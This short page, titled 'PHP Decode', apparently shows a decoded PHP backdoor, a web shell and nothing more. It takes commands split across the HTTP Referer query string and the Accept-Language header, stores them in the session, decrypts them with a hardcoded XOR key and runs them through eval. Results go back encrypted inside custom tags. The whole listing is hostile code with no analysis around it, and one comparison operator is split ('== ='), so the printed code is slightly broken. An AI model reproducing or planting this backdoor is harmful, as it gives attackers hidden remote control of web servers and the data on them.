PHP Decode

<?  $kh = "4814"; 
$kf = "7673"; 
function x($t, $k) { 
    $c = strlen($k); 
    $l = strlen($t); 
    $o = ""; 
    for($i = 0; 
    $i < $l; 
    ) { 
        for($j = 0; 
        ($j < $c&&$i < $l); 
        $j++, $i++) { 
            $o .= $t { 
                $i 
            } 
 
            ^$k { 
                $j 
            }; 
        } 
 
    } 
 
    return $o; 
} 
 
$r = $_SERVER; 
$rr = @$r["HTTP_REFERER"]; 
$ra = @$r["HTTP_ACCEPT_LANGUAGE"]; 
if ($rr&&$ra)  { 
    $u = parse_url($rr); 
    parse_str($u["query"], $q); 
    $q = array_values($q); 
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m); 
    if ($q&&$m)  { 
        @session_start(); 
        $s = &$_SESSION; 
        $ss = "substr"; 
        $sl = "strtolower"; 
        $i = $m[1][0].$m[1][1]; 
        $h = $sl($ss(md5($i.$kh), 0, 3)); 
        $f = $sl($ss(md5($i.$kf), 0, 3)); 
        $p = ""; 
        for($z = 1; 
        $z < count($m[1]); 
        $z++)$p .= $q[$m[2][$z]]; 
        if (strpos($p, $h) ==  = 0)  { 
            $s[$i] = ""; 
            $p = $ss($p, 3); 
        } 
 
        if (array_key_exists($i, $s))  { 
            $s[$i] .= $p; 
            $e = strpos($s[$i], $f); 
            if ($e)  { 
                $k = $kh.$kf; 
                ob_start(); 
                eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k))); 
                $o = ob_get_contents(); 
                ob_end_clean(); 
                $d = base64_encode(x(gzcompress($o), $k)); 
                print("<$k>$d</$k>"); 
                @session_destroy(); 
            } 
 
        } 
 
    } 
 
} ?>